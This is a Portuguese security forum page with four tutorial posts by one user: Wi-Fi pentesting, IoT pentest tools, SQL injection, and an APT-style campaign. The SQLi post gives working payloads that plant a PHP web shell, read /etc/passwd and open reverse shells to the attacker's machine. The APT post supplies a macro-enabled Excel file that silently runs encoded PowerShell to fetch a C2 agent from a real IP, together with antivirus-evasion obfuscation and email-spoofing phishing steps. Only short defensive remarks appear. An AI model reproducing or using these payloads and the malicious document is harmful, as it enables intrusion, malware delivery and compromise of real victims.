Ir para conteúdo

Joas Antonio

Membros
  • Postagens

    4
  • Registro em

  • Última visita

Posts postados por Joas Antonio

  1. Realizar um serviço de PenTest é trabalhoso, mas já pensou realizar um PenTest em rede sem fio? Muitas empresas contratam profissionais para apenas auditar sua infraestrutura de rede sem fio.


     Isso se dá pelo aumento do grande número de dispositivos conectados ao IoT (Internet das Coisas), onde muitas empresas tem equipamentos de IoT conectados sem nenhum tipo de proteção, assim ficando expostos a ataques e vulnerabilidades que podem comprometer a integridade e a disponibilidade do dispositivo.


     Então por isso, ter conhecimentos em PenTest em redes sem fio é essencial para garantir que a infraestrutura Wireless não seja comprometida e criminosos tomem controle de dispositivos que usam essa tecnologia, assim eliminando perigos de desses dispositivos se tornarem possíveis Botnets ou ter um vazamento de Dados.

    Introdução

    Antes de iniciarmos os nossos testes, vamos definir como será o nosso laboratório, afinal não vamos usar ambientes reais, mas sim laboratórios controlados por mim ao qual vou simular um ataque real.

    E nesse laboratório vai conter:

    Kali Linux (Máquina que vou utilizar para os ataques)

    Adaptadores recomendados:

    TP-Link — WN772N

    ALFA -AWUS036NHA

    ALFA-AWUS036NH

    “Você pode utilizar outros adaptadores, mas garanta que estes suportem o Modo Monitor, injeção de pacotes e que podem ser compatível ao Kali Linux”

    Planejamento

    Como planejar um ataque em uma rede sem fio?

    1. Liste as ferramentas que você irá utilizar no ataque
    2. Identifique o seu alvo
    3. Saiba para qual fim aquela rede é utilizada, questione-se para o que é utilizada aquela rede na empresa (Visitante? Workstation? Somente para dispositivos IoT? Etc…)
    4. Utilize maquinas potentes para efetuar o ataque
    5. Só use métodos agressivos caso todas a opções fiquem escassas.

    Prática

    Agora vamos por em pratica alguns métodos para comprometer um rede sem fio, vale ressaltar que muitos dos métodos apresentados são utilizados em ambientes controlados já configurado para receber ataques. Pois em uma rede real você vai se deparar com muitos mecanismos de segurança que coíbem esses ataques, assim você vai precisar estudar esses tipos de mecanismo como (WIDS, WIPS, HONEYNET, HARDENING E OUTROS DISPOSITIVOS DE SEGURANÇA), além disso muitas redes sem fios possuem alto níveis de autenticação como um Radius configurado.

    Neste ambientes será apresentado ataques utilizando as seguintes ferramentas:

    · Aircrack-ng: É um conjunto completo de ferramentas para Pentest e Auditoria em redes sem fio

    · Reaver: É uma ferramenta ao qual tem como objetivo fazer Brute force em WPS

    · Bully: Uma ferramenta para realizar ataques de Brute force em WPS

    · Cowpatty: Uma ferramenta para realizar um ataque de Brute force de maneira rápida utilizando chaves Pré-computadas.

    · Genpmk: Ele trabalha em conjunto com Cowpatty, mas seu trabalho é gerar uma rainbow tables de uma wordlist

    · Wifite2: É uma ferramenta para facilitar e automatizar um Pentest em rede sem fio.

    · Fluxion: É uma ferramenta que usa a engenharia social para comprometer uma rede sem fio.

    Essas são as ferramentas que iremos utilizar para nossas demonstrações:

    2138320106_PenTest-Ataquesemredesemfioedicasdecomofazerpentestcommaiseficincia.pdf

  2. A Internet das Coisas em resumo, é uma rede que transmite informações entre dispositivos do cotidianos interconectados entre si. O IoT é bastante presente atualmente, é difícil hoje uma casa não conter um dispositivo de internet das coisas como uma Smart TV ou até mesmo um eletrodoméstico IoT.

    PenTest em IoT — Técnicas e Ferramentas

    Compreender a segurança de firmwares IoT vai ajudar na proteção contra ataques que visam dispositivos de redes, como câmeras IP, roteadores, medidores inteligentes, equipamentos médicos e muito mais. 

    Um roteador pode ser um ponto de acesso vulnerável na rede. Deixar os dispositivos de rede sem gerenciamento pode comprometer toda a rede e permitir a movimentação lateral dos invasores dentro da rede.

    Para explorar um firmware e realizar pentest em dispositivos IoT, alguns conhecimentos são necessários:

    • Extração de firmware via UART.
    • Extração de firmware diretamente da memória flash.
    • Como emular um dispositivo IoT em ARMX.
    • Contornando as tecnologias de mitigação de exploits — DEP e ASLR.
    • Shellcode em ARM.
    • Uma análise mais aprofundada na emulação de firmware — emulando nvram, corrigindo padrões de fábrica.
    • Conhecimentos em Engenharia Reversa e Buffer Overflow.
    • Habilidades com uso de ferramentas de exploração de firmware e binário.

    Ferramentas

    Analise de binário e firmware

    • Binwalk — Searches a binary for “interesting” stuff, as well as extracts arbitrary files.
    • emba — Analyze Linux-based firmware of embedded devices.
    • Firmadyne — Tries to emulate and pentest a firmware.
    • Firmwalker — Searches extracted firmware images for interesting files and information.
    • Firmware Slap — Discovering vulnerabilities in firmware through concolic analysis and function clustering.
    • Ghidra — Software Reverse Engineering suite; handles arbitrary binaries, if you provide CPU architecture and endianness of the binary.
    • Radare2 — Software Reverse Engineering framework, also handles popular formats and arbitrary binaries, has an extensive command line toolset.
    • Trommel — Searches extracted firmware images for interesting files and information.

    Ferramentas SDR

    • RTL-SDR — Cheapest SDR for beginners. It is a computer based radio scanner for receiving live radio signals frequencies from 500 kHz up to 1.75 GHz.
    • HackRF One — Software Defined Radio peripheral capable of transmission or reception of radio signals from 1 MHz to 6 GHz (half-duplex).
    • YardStick One — Half-duplex sub-1 GHz wireless transceiver.
    • LimeSDR — Software Defined Radio peripheral capable of transmission or reception of radio signals from 100 KHz to 3.8 GHz (full-duplex).
    • BladeRF 2.0 — Software Defined Radio peripheral capable of transmission or reception of radio signals from 47 MHz to 6 GHz (full-duplex).
    • USRP B Series — Software Defined Radio peripheral capable of transmission or reception of radio signals from 70 MHz to 6 GHz (full-duplex).

    Outras ferramentas:

    Além de ferramentas, temos que saber o que procurar em um dispositivo vulnerável, quais informações podemos extrair e tudo mais.

    1. Acesso não autenticado: uma das vulnerabilidades mais comuns em firmware, são os acessos não autenticados que permite que um atacante obtenha acesso a um dispositivo IoT, o que torna mais fácil explorar o dispositivo e quaisquer controles fornecidos por ele.

    2. Autenticação fraca: Os atacantes podem facilmente obter acesso aos dispositivos quando o firmware tem um mecanismo de autenticação fraco, seja sua criptografia ou a utilização de usuários default. Esses mecanismos podem variar de autenticação de fator único e baseada em senha a sistemas baseados em algoritmos criptográficos fracos que podem ser violados com ataques de força bruta.

    3. Backdoors: Quando se trata de firmware, backdoors são uma das explorações favoritas dos atacantes. Um Backdoors são vulnerabilidades intencionais que são plantadas em um dispositivo para fornecer acesso remoto a qualquer pessoa com as informações de autenticação “secretas”.

    4. Chaves de criptografia : quando armazenadas em um formato que pode ser facilmente hackeado, como variações do Data Encryption Standard (DES), as chaves de criptografia podem representar um grande problema para a segurança da IoT. Embora o DES tenha provado ser inadequado, ele ainda está em uso hoje. Os atacantes podem explorar chaves de criptografia para espionar a comunicação, obter acesso ao dispositivo ou até mesmo criar dispositivos invasores que podem realizar atos maliciosos.

    5.Buffer Overflow: Ao programar umfirmware, podem surgir problemas se o programador usar funções de manipulação de strings inseguras, o que pode levar ao buffer overflow. Os invasores passam muito tempo examinando o código dentro do software de um dispositivo, tentando descobrir como causar um comportamento errático do aplicativo ou travamentos que podem abrir um caminho para uma violação de segurança. Buffer Overflow podem permitir que atacantes acessem dispositivos remotamente e podem ser transformados em armas para criar ataques de negação de serviço e injeção de código.

    6. Depuração: informações de depuração em versões beta de dispositivos IoT costumam ser deixados em dispositivos de produção, dando aos atacantes acesso ao mesmo conhecimento interno de um dispositivo.

    Ferramentas de PenTest

    Nmap

    Algo que eu curto fazer é rodar um Nmap em um dispositivo IoT, principalmente em roteadores e Smart TV para coletar informações do dispositivo como portas e serviços abertas e verificar as versões do firmware que está rodando. Com isso, pode acabar surgindo a sorte de conseguir uma CVE por encontrar uma vulnerabilidade.

    Wireshark

    Com o Wireshark, eu posso capturar o trafego de rede, principalmente de protocolos como HTTP que é usado na autenticação de interface web de diversos dispositivos IoT, assim obtendo as informações em Text Plain.

    Metasploit

    O Metasploit é uma ferramenta para exploração de vulnerabilidades, bastante usada para comprometer quaisquer tipo de alvo, desde windows, linux até mesmo dispositivos IoT.

    RouterSploit

    O RouterSploit é uma ferramenta com objetivo de explorar vulnerabilidades em Roteadores, com vulnerabilidades separadas em módulos, seria um metasploit com foco somente em roteadores.

    HomePWN

    HomePwn is a framework that provides features to audit and pentesting devices that company employees can use in their day-to-day work and inside the same working environment. It is designed to find devices in the home or office, take advantage of certain vulnerabilities to read or send data to those devices. With a strong library of modules you can use this tool to load new features and use them in a vast variety of devices.

    FWAnalyzer

    FwAnalyzer is a tool to analyze (ext2/3/4), FAT/VFat, SquashFS, UBIFS filesystem images, cpio archives, and directory content using a set of configurable rules. FwAnalyzer relies on e2tools for ext filesystems, mtools for FAT filesystems, squashfs-tools for SquashFS filesystems, and ubi_reader for UBIFS filesystems. cpio for cpio archives. SELinux/Capability support for ext2/3/4 images requires a patched version of e2tools. SELinux/Capability support for SquashFS images requires a patched version of squashfs-tools.

    ISF

    ISF(Industrial Security Exploitation Framework) is a exploitation framework based on Python. It’s based on NSA Equation Group Fuzzbunch toolkit which is realsed by Shadow Broker. It’s developed by the ICSMASTER Security Team. Please use them only for researching purposes.

    Essas são algumas ferramentas para exploração de dispositivos IoTs e realização de PenTest.

    Conclusão

    A área de IoT Security tem muito a ser explorado, principalmente por ser algo relativamente novo e que está crescendo a cada dia que passa, por conta disso, aprender a proteger tais tecnologias é um desafio e tanto.

  3. Introdução

    Os ataques em aplicações webs são bastante comuns atualmente, principalmente pela alta migração dos serviços para aplicações web, e ao falar das principais vulnerabilidades conforme o OWASP-TOP 10, muitos já pensam no ataque de SQL injection, por ser uma falha de segurança que ocasiona em grandes impactos e que muitas aplicações web pelo mundo todo, continuam vulneráveis a essa falha.

    O que é SQL injection?

    O Ataque de Injeção de SQL, consiste em injetar comandos do banco de dados SQL para apagar, coletar ou modificar dados de um banco de dados, ocorrendo quando os dados fornecidos pelo usuário não é validado de forma correta e interpretado como uma forma de injeção de comandos SQL.

    Quais são os tipos de ataques de SQL Injection?

    In-band SQLi (Classic SQLi)

    In-band SQL Injection é o ataque de SQL Injection mais comum e fácil de explorar. In-band SQL Injection ocorre quando um invasor é capaz de usar o mesmo canal de comunicação para iniciar o ataque e coletar resultados.

    Os dois tipos mais comuns de injeção de SQL em banda são SQLi baseado em erro e SQLi baseado em união .

    Error-based SQLi

    SQLi baseado em erro é uma técnica de injeção de SQL em banda que se baseia em mensagens de erro lançadas pelo servidor de banco de dados para obter informações sobre a estrutura do banco de dados. Em alguns casos, apenas a injeção de SQL baseada em erro é suficiente para um invasor enumerar um banco de dados inteiro. Embora os erros sejam muito úteis durante a fase de desenvolvimento de um aplicativo da Web, eles devem ser desabilitados em um site ativo ou registrados em um arquivo com acesso restrito.

    Union-based SQLi

    SQLi baseado em união é uma técnica de injeção de SQL em banda que aproveita o operador UNION SQL para combinar os resultados de duas ou mais instruções SELECT em um único resultado que é então retornado como parte da resposta HTTP.

    Inferential SQLi (Blind SQLi)

    A injeção de SQL inferencial, ao contrário do SQLi em banda, pode levar mais tempo para um invasor explorar, no entanto, é tão perigosa quanto qualquer outra forma de injeção de SQL. Em um ataque SQLi inferencial, nenhum dado é realmente transferido por meio do aplicativo da Web e o invasor não poderá ver o resultado de um ataque em banda (e é por isso que esses ataques são comumente chamados de “ ataques de injeção de SQL cegos ”) . Em vez disso, um invasor é capaz de reconstruir a estrutura do banco de dados enviando cargas úteis, observando a resposta do aplicativo da Web e o comportamento resultante do servidor de banco de dados.

    Os dois tipos de injeção de SQL inferencial são SQLi baseado em booleano cego e SQLi baseado em tempo cego .

    Boolean-based (content-based) Blind SQLi

    A injeção de SQL baseada em booleano é uma técnica de injeção de SQL inferencial que se baseia no envio de uma consulta SQL ao banco de dados que força o aplicativo a retornar um resultado diferente dependendo se a consulta retorna um resultado VERDADEIRO ou FALSO.

    Dependendo do resultado, o conteúdo da resposta HTTP mudará ou permanecerá o mesmo. Isso permite que um invasor deduza se a carga útil usada retornou verdadeiro ou falso, mesmo que nenhum dado do banco de dados seja retornado. Esse ataque geralmente é lento (especialmente em bancos de dados grandes), pois um invasor precisaria enumerar um banco de dados, caractere por caractere.

    Time-based Blind SQLi

    A injeção de SQL baseada em tempo é uma técnica de injeção de SQL inferencial que se baseia no envio de uma consulta SQL ao banco de dados que força o banco de dados a aguardar um determinado período de tempo (em segundos) antes de responder. O tempo de resposta indicará ao invasor se o resultado da consulta é VERDADEIRO ou FALSO.

    Dependendo do resultado, uma resposta HTTP será retornada com atraso ou imediatamente. Isso permite que um invasor deduza se a carga útil usada retornou verdadeiro ou falso, mesmo que nenhum dado do banco de dados seja retornado. Esse ataque geralmente é lento (especialmente em bancos de dados grandes), pois um invasor precisaria enumerar um banco de dados caractere por caractere.

    Out-of-band SQLi

    Injeção de SQL fora de banda não é muito comum, principalmente porque depende de recursos habilitados no servidor de banco de dados que está sendo usado pelo aplicativo da web. A injeção de SQL fora de banda ocorre quando um invasor não consegue usar o mesmo canal para iniciar o ataque e coletar resultados.

    As técnicas fora de banda oferecem ao invasor uma alternativa às técnicas inferenciais baseadas em tempo, especialmente se as respostas do servidor não forem muito estáveis (tornando um ataque inferencial baseado em tempo não confiável).

    As técnicas de SQLi fora de banda dependeriam da capacidade do servidor de banco de dados de fazer solicitações DNS ou HTTP para entregar dados a um invasor. É o caso do xp_dirtreecomando do Microsoft SQL Server, que pode ser usado para fazer solicitações de DNS a um servidor que um invasor controla; bem como o pacote UTL_HTTP do Oracle Database, que pode ser usado para enviar solicitações HTTP de SQL e PL/SQL para um servidor que um invasor controla.

    https://www.acunetix.com/websitesecurity/sql-injection2/

    Esse é o básico de um ataque de SQL Injection, mas claro existem ataques um pouco mais avançado que pode ser utilizado para conseguir uma Reverse Shell.

    Porém com os mecanismos de proteção conhecidos como WAF/IDS/IPS, dificultou um pouco à realização desses ataques, sendo necessário à criação de payloads que consigam realizar o bypass desses controles.

    Como trabalha um WAF?

    https://cdn-images-1.medium.com/max/1000/1*TrvHvu3a9tqo2PrQEz_9Aw.png

    Essa imagem resume todo o processo do tráfego que ocorre:

    1. O usuário faz uma requisição na aplicação;
    2. Essa requisição passa pelo WAF ao qual vai validar se é ou não malicioso;
    3. E por fim, vai até o servidor da aplicação se tudo der certo para trazer uma resposta ao usuário;

    O objetivo do WAF é prevenir qualquer tipo de ataque de injeção ou manipulação de requisição e adotar politicas de higienização de entradas de dados inválidas. Além de serem bem útils para detectar um 0day conforme o tipo de entrada de dados que está sendo inserido, por isso é um pouco mais difícil bypassar um WAF sem conhece-lo antes e entender de desenvolvimento web para criar seus payloads utilizando técnicas anti-filtros e métodos de escapes de caracteres.

    Demonstrando alguns ataques de SQL Injection

    Após adquirirmos o básico de conhecimento em ataques de SQL Injection, vamos à prática.

    Reading and Writer Files with SQL Injection:

    Um método não muito utilizado, mas bem útil para realizar ataques de SQL Injection e assim roubar informações ou até mesmo conseguir uma Reverse Shell é por meio de leitura e escrita de um arquivo.

    Geralmente por causa de uma configuração incorreta de permissões no servidor de aplicação web, o usuário do servidor web consegue não só ler, mas até editar arquivos ou cria-los dentro do diretório, sendo possível subir uma shell em .php para comprometer o servidor.

    Por exemplo:

    Você tem diferentes tipos de payloads que pode ser útil para gravar arquivos em um sistema, exemplo:

    ‘ union select 1, “<?php system($_GET[‘cmd’]); ?>” into outfile ‘/var/www/shell.php’ #

    https://cdn-images-1.medium.com/max/1000/1*PQhz7mWqhBt0QozeKK93zQ.pnghttps://cdn-images-1.medium.com/max/1000/1*k2ABzwWkOS-cKwRec286ag.png

    Esse payload permite que eu crie um arquivo chamado shell.php e nele contenha um código em php para executar comandos pela aplicação.

    E caso queremos fazer à leitura de um arquivo, podemos utilizar o seguinte payload

    ‘ UNION SELECT 1, load_file(‘/etc/passwd’) #

    https://cdn-images-1.medium.com/max/1000/1*2R7KSWHWgpOVe1pb7qNcGg.png

    Assim ele retorna o /etc/passwd do alvo, além de ser possível exfiltrar outros arquivos que desejar.

    Alguns métodos e payloads que você pode utilizar para ir mais além na suas explorações
    https://www.exploit-db.com/papers/14635

    https://sqlwiki.netspi.com/attackQueries/readingAndWritingFiles/#mysql

    SQL Injection to Remote Code Execution:

    Após subirmos aquela shell.php no servidor web, podemos utilizar ele para alcançar uma reverse shell, primeiramente vamos chamar a nossa pequena shell em PHP.

    https://cdn-images-1.medium.com/max/1000/1*63M8ESIX3a76cymBV9rKpQ.png

    http://vulnserver/shell.php?cmd=ls -ls
    Ele nos retorna os diretórios da pasta atual, assim obtendo êxito na execução de código remoto, assim abre um leque para várias oportunidades sendo possível até obter um Meterpreter, porém vamos subir um Netcat básico primeiro.

    Mas antes, vamos rodar o comando Whereis para verificar se existe o netcat na máquina.

    http://vulnserver/shell.php?cmd=whereis nc

    https://cdn-images-1.medium.com/max/1000/1*Eel2nUhQTpGgVoVsHLpj2w.png

    Sucesso!
    Agora podemos abrir uma Reverse Shell tranquilamente na porta que desejarmos.

    Primeiramente eu abrir um Netcat no meu Kali Linux na porta 4321
    Comando: nc -nvlp 4321
    Em resumo ele abre uma porta, deixa na escuta e retorna toda interação feita por ela.

    https://cdn-images-1.medium.com/max/1000/1*6qCz2lEPAkkaeSZecr34qQ.png

    E por fim, eu executo o netcat via shell.php para se comunicar com essa porta, utilizando o seguinte comando.

    http://vulnserver/shell.php?cmd=nc -nv ipkalilinux 4321 -e /bin/bash

    Assim eu me comunico com a máquina e executo uma shell para eu interagir com à máquina, porém eu consigo deixar essa shell mais interativa ainda utilizando o seguinte comando:

    python -c “import pty;pty.spawn(‘/bin/bash’)” (Python2)
    python3 -c “import pty;pty.spawn(‘/bin/bash’)” (Python3)

    https://cdn-images-1.medium.com/max/1000/1*nLrINr88BuE0ONm56CKl_Q.png

    Agora é só escalar privilégios, no metasploitable você pode utilizar o PHP para fazer essa escalação, basta apenas seguir dois processos.

    1. Abrir um outro terminal no Kali Linux e subir um netcat em uma porta aleatória;
    2. Basta executar na Reverse Shell atual o seguinte comando: php -r ‘$sock=fsockopen(“ipkalilinux”,port);exec(“/bin/sh -i <&3 >&3 2>&3”);’

    https://cdn-images-1.medium.com/max/1000/1*yYsG49CqrUDQkyoIp1oxWA.png

    Esse é um método de subir uma Reverse Shell e Escalar privilégio, existem outros principalmente se explorando das credenciais default do MySQL e assim executar o seguinte processo.

    mysql -u root -h target

    Depois disso basta criar uma shell em PHP utilizando o seguinte payload

    select '<?php $output=shell_exec($_GET["cmd"]);echo "<pre>".$output."</pre>"?>' into outfile '/var/www/html/cmd.php' from mysql.user limit 1;

    Por fim, abra a aplicação web e execute o seguinte parâmetro

    http://ip-do-webserver/cmd.php?cmd=id

    Pronto! Agora é só utilizar à criatividade para elevar o seu nível.

    Conclusão

    Ataques de SQL Injection são fáceis de corrigir, mas infelizmente existem milhares de aplicações vulneráveis, sendo até mesmo de empresas grandes que geralmente recebem reports por intermédios de programas de Bug Bounty.

    Portanto, eu recomendo que você desenvolvedor invista em segurança de aplicação e ponha as boas práticas de segurança em ação, pois assim você vai ter uma aplicação segura e dificilmente de ser comprometida, claro que nenhum sistema é seguro, mas o nosso papel como profissionais de segurança é garantir que os impactos seja o menor possível.

  4. Introdução

    As ameaças persistentes avançadas são ataques direcionados especificamentes a um tipo de negócio ou organização, no caso muitos ataques de longa escala utilizam TTPs (Técnica, Táticas e Procedimentos) para comprometer seu alvo, seja utilizando um spear-phishing ou explorando vulnerabilidades em um sistema.

    Como exemplo, temos as campanhas de ransomware que se propagam de diversas formas, seja elas por ataques de Phishing ou por meio de 0days. O Mitre Att&ck mostra como muitos grupos de cibercriminosos atuam e quais os principais vetores de ataques são utilizados, além dos TTPs.

    Nesse artigo, vou demonstrar um ataque utilizando um documento maliciosos com um Macro VBA que instala um Agent de C2 usando o Trevorc2 para criar uma botnet no Azure.

    “Antes de tudo, estou utilizando Azure para demonstrar como um C2 funciona externamente na prática, muitos criminosos usam esse tipo de serviço, mas claro a Microsoft sempre está de olho, por isso é sempre bom ter seu próprio servidor ou usar uma VPS.”

    Azure configuration

    Configurar o azure não é algo que vou demonstrar em passo a passo, mas por ora você pode criar uma conta gratuita para seus testes e realizar o procedimento para criar uma máquina virtual.

    Você pode seguir esse passo a passo aqui:

    Após criar a sua máquina, particularmente usei o Ubuntu 18.04, você pode digitar os seguintes comandos:

    apt-get update

    apt list — upgradable

    apt-get install python

    apt-get install python3

    apt-get install python3-pip

    apt-get install python-pip

    Após isso, vamos partir para a configuração do nosso documento malicioso antes de configurarmos o servidor de C2

    Documento Malicioso .XLSM

    Irei criar um Macro bem simples para efetuar o download do agent que estara no servidor da minha aplicação e posteriormente executar o agent.ps1 para obtermos a nossa conexão.

    O código é bem simples, você pode aprimorar ele e utilizar técnicas de obfuscação e sleep time para diminuir o comportamento anomalo dele.

    Eu particularmente convertir as strings do powershell em base64, para dificultar a leitura do que está sendo executado no VBA, utilizei o seguinte comando:

    [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“wget http://server:443/agent.ps1 -OutFile C:\Temp\agent.ps1”))

    image.thumb.png.c478ca233256e6f49b121b7fcba1227a.png

    [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“C:\Temp\agent.ps1”))

    image.thumb.png.40a7364257704da0d8e0d5d22fdea491.png

    [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“-ExecutionPolicy Bypass -Windowstyle Hidden -File c:\Temp\payload.ps1”))

    image.thumb.png.99cc2f8a915a45b53043dabc2d498d0e.png 

    Agora vou criar o meu VBA que será executado na minha planilha do excel, para isso vou abrir o Excel e apertar alt+f11

    image.png.29cb980c01019efd59e075f725745373.png

    image.thumb.png.48ce84d5cb4e1ef9dfe82049b43f1792.png

     

    Crie um Módulo e adicione o seguinte código

    Sub RunAndGetCmd()

    strCommand = “Powershell -Windowstyle Hidden -encodedCommand dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAzAC4ANgA1AC4AMgAzADQALgAxADkANAA6ADQANAAzAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=”
     strCommand2 = “Powershell -Windowstyle Hidden -encodedCommand QwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=”
     Set WshShell = CreateObject(“WScript.Shell”)
     Set WshShellExec = WshShell.Exec(strCommand)
     Set WshShellExec = WshShell.Exec(strCommand2)
     Set objShell = CreateObject(“Wscript.Shell”)
     objShell.Run (“powershell.exe -encodedCommand LQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBXAGkAbgBkAG8AdwBzAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARgBpAGwAZQAgAGMAOgBcAFQAZQBtAHAAXABwAGEAeQBsAG8AYQBkAC4AcABzADEA”)
     strOutput = WshShellExec.StdOut.ReadAll

    End Sub

    Agora adicione o seguinte código no Microsoft Excel Object

    image.thumb.png.4a51cdcd6c4307bd373947f9338af38c.pngimage.thumb.png.1e7f0dcd33e5fce628af210ec05366cd.png

    Private Sub Workbook_Open()

    RunAndGetCmd

    End Sub

    Agora vamos salvar o código como Macro-enabled workbook

    image.thumb.png.2e014ef5abfb23e44b727426d3caac1c.png

    Após ter configurado, basta re-abrir o Excel e verificar se ele esta funcionando corretamente.

    Configurando C2 e Obfuscando Agent

    Agora vamos entrar no nosso servidor no Azure e configurar nosso servidor C2 e obfuscar nosso agent para não ser fácilmente detectado pelo AV.

    Vamos clonar o repositório do Trevorc2

    image.thumb.png.3ebd15b7efe9ff8df2ab28c21a2a67ec.png

    Agora vamos instalar os pré-requisitos, digitando:

    pip install -r requeriments.txt

    pip3 install -r requeriments.txt

    image.thumb.png.4efb16cfd742fb60f4b714bc16f5de82.png

    Vamos acessar a pasta agents e agora vamos pegar o código trevorc2_client.ps1 para obfuscar esse código, antes vamos configurar apenas essa linha e por o IP do nosso servidor.

    image.thumb.png.aef6ac8e9a56a1a49da26d4c133845ae.png

    Vamos salvar e agora é só obfuscar o código, no caso você pode utilizar diversas técnicas para enconde e obsfucação.

    No meu caso vou utilizar o PyFuscation para isso

    image.thumb.png.95dbaa76b2a7d332614eea8aeb1d2da8.png 

    Clonei o repositório e vou jogar o trevorc2_client.ps1 para dentro da pasta PyFuscation

    image.thumb.png.f2d4b116854693f253db7d0b4056d67d.png

    image.thumb.png.cffbf4f06abfd5b7454b9a75a332a690.png

    Executei o pyfuscation 

    image.thumb.png.1318ed6b369ee6a47ccb763e3c89ff85.png

    Esse é o resultado, porém para verificarmos a efetividade dele vou rodar um virustotal (Não é recomendado se você não quer nerfar o seu código), como é somente para estudos vamos validar a efetividade.

    image.thumb.png.929a75fb05f0969bf25c8af57e4e99d4.png

    Vou subir um servidor de aplicação na porta 443 por conta da limitação do Azure e baixar o arquivo para analisar no virustotal, posso usar uma API para válidar também, mas vou utilizar a interface web mesmo.

    https://support.virustotal.com/hc/en-us/articles/360006819798-API-Scripts-and-client-libraries

    image.thumb.png.5aac7285f3c0540db0dcd1287ec83aa1.png

    Agora vou renomear o agent para payload.ps1

    image.thumb.png.fa699ffb103b5b635d6725e1b3bab1e6.png

    Agora vamos iniciar o servidor do Trevorc2

    image.thumb.png.27a5b7be563e88de750ad5061814b50e.png

    image.thumb.png.8866a5571d0229669ac9d6c249449121.png

    Ele detectou o meu apache2 ativado, vou desativar, pois o trevorc2 trabalha pela porta 80 (HTTP)

    image.thumb.png.890c738dd21ba0c18e3e6472ccb2c4c4.png

    image.thumb.png.485d85bdc43ab472b1c373c88b26502b.pngimage.thumb.png.b826ca616aae4d4f62c91bc958e21f26.png

    Ainda não possuo nenhuma shell ainda, para isso vou precisar criar um vetor de ataque que no caso será um Phishing.

    Ataque de Phishing

    Phishing é um tipo de ataque de engenharia social frequentemente usado para roubar dados do usuário, incluindo credenciais de login e números de cartão de crédito. Ocorre quando um invasor, disfarçado de entidade confiável, induz a vítima a abrir um e-mail, mensagem instantânea ou mensagem de texto. O destinatário é então induzido a clicar em um link malicioso, o que pode levar à instalação de malware, ao congelamento do sistema como parte de um ataque de ransomware ou à revelação de informações confidenciais.

    Um ataque pode ter resultados devastadores. Para indivíduos, isso inclui compras não autorizadas, roubo de fundos ou roubo de identidade.

    Além disso, o phishing é frequentemente usado para obter uma posição segura em redes corporativas ou governamentais como parte de um ataque maior, como um evento de ameaça persistente avançada (APT). Neste último cenário, os funcionários são comprometidos a fim de contornar os perímetros de segurança, distribuir malware dentro de um ambiente fechado ou obter acesso privilegiado a dados protegidos.

    Uma organização que sucumbe a tal ataque normalmente sofre graves perdas financeiras, além de queda na participação de mercado, reputação e confiança do consumidor. Dependendo do escopo, uma tentativa de phishing pode se transformar em um incidente de segurança do qual uma empresa terá dificuldade em se recuperar.

    Para eu comprometer meu alvo, vou utilizar a técnica de E-mail Spoofing, claro que não é bem efetivo, pois existem muitos meios de mitigar, basta configurar o SPF de maneira correta, uma ferramenta que ajuda nesse aspecto é o https://www.dmarcanalyzer.com/spf/checker/ que analisa se seu dominio está configurado corretamente.

    Vou me passar por uma organização desconhecida e irei levantar a informação do meu alvo utilizando o OSINT por meio de midias sociais.

    image.thumb.png.e9b75923de1ab8700ec99abf141b5c21.png

    image.png.3c12accd58aff29b134df493e810cc6f.png

    Peguei as informações do usuário e o e-mail de contato dele, agora vou enviar esse documento malicioso que criamos para tentar compromete-lo.

    Pode ser utilizado alguma ferramenta em Python de E-mail Spoofing, o próprio Setoolkit ou até mesmo o EMKEI que é uma ferramenta web para email spoofing.

    https://emkei.cz/

    image.thumb.png.a285e544768a735230ab1a6f22e12c15.png

    Após o envio vamos torcer para não cair no SPAM ou para que o usuário clique e abra essa planilha

    image.thumb.png.5b08ae7bd5a40d985785c968ba5e0f56.png

    Após o recebimento vamos aguardar que o usuário abra e execute para obtermos algum resultado.

    image.thumb.png.9209b33b6f3098ae328ce80127634339.png

    Ótimo! Obtemos um resultado satisfatório, agora podemos nos aprofundar interagindo com o alvo, para isso basta digitar:

    image.png.9b9242174feb125a062dfaecc9b9b131.png

    Digitei o comando dir

    image.thumb.png.679908e13ab74cb5f72e1d7adc048442.png

    E obtive as pastas desse usuário, se quiser acessar outros dispositivos é só digitar:

    image.thumb.png.eaeb17610f16783731cf5bd01f377def.png

    E assim usar o comando: interact

    Nesse caso não vou me aprofundar nos vetores de ataque, pois esse artigo é apenas para dar uma noção básica de um malware que se esconde em um arquivo .xlsm ao qual instala um agent de C2 para você utilizar da forma que desejar.

    Detectando o C2?

    Como exercicio é sempre bacana analisar o trafego de rede e ver como o C2 se comporta, por exemplo: O TrevorC2 que estamos utilizando nesse artigo é um modelo cliente / servidor para mascarar comando e controle por meio de um site normalmente navegável. A detecção se torna muito mais difícil porque os intervalos de tempo são diferentes e não usam solicitações POST para saída de dados.

    Utilizando Wireshark podemos analisar o tráfego e coletar comportamentos anomalos na rede

    image.thumb.png.88142a7390128c514771478e8a3c0f1e.png

    Analisando eu encontrei uma comunicação HTTP no servidor 13.65.234.194, bem suspeito quando não possuo nem o browser aberto para realizar a comunicação com algum site HTTP.

    Ao digitar o IP http://13.65.234.194/ no navegador, fui redirecionado para o site do Google, assim fica um pouco mais dificil de verificar se é um C2 ou não.

    ip.addr == 13.65.234.194 

    Filtrando, você pode analisar com calma e detectar algum comportamento suspeito.

    Conclusão 

    Os APTs é o medo de qualquer organização, pois um grupo de cibercriminosos que estão motivados a atacar e a comprometer o alvo é um sério risco para todos. Muitos ataques tem motivações diferentes, porém seu objetivo é afetar de alguma forma o seu alvo, seja gerando impactos financeiros ou não.

    Se proteger não é uma tarefa fácil, existe um caminho a percorrer:

    • Implementar uma cultura de segurança da informação na sua organização;
    • Conscientizar os usuários sobre as diversas ameaças no meio cibernético;
    • Ficar em compliance com os principais padrões e normas do mercado;
    • Investir em soluções de segurança para proteger seu ambiente e a rede corporativa da sua organização;
    • Possuir um bom time de CSIRT;
    • Capacitar seus profissionais de segurança da informação;
